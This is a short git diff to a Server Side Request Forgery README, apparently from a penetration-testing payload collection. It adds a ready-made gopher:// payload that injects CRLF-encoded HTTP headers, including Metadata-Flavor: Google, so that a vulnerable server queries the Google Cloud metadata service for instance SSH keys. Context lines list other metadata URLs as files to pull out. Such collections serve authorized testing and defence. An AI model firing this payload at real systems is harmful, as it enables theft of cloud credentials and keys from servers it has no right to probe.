diff --git a/Server Side Request Forgery/README.md b/Server Side Request Forgery/README.md
index 5b59736..88e7db0 100644
--- a/Server Side Request Forgery/README.md	
+++ b/Server Side Request Forgery/README.md	
@@ -501,6 +501,12 @@ http://metadata.google.internal/computeMetadata/v1beta1/
 http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
 ```
 
+Required headers can be set using a gopher SSRF with the following technique
+
+```powershell
+gopher://metadata.google.internal:80/xGET%20/computeMetadata/v1/instance/attributes/ssh-keys%20HTTP%2f%31%2e%31%0AHost:%20metadata.google.internal%0AAccept:%20%2a%2f%2a%0aMetadata-Flavor:%20Google%0d%0a
+```
+
 Interesting files to pull out:
 
 - SSH Public Key : `http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json`